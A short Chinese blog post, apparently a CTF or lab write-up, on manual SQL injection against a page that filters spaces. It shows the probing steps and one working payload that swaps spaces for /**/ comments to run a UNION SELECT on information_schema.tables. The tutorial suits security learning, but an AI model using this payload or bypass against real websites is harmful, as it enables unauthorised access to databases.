试着先输入1，再输入1'，页面报语法错误，再输入1 '页面出现SQLi detected!， 推出空格被它过滤了
接下来有两种方法：用sqlmap或者手注
先手注
过滤的空格可以用/**/代替，查询当前数据库的表
'/**/or/**/id=4/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
扫一扫
08-14
1万+
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
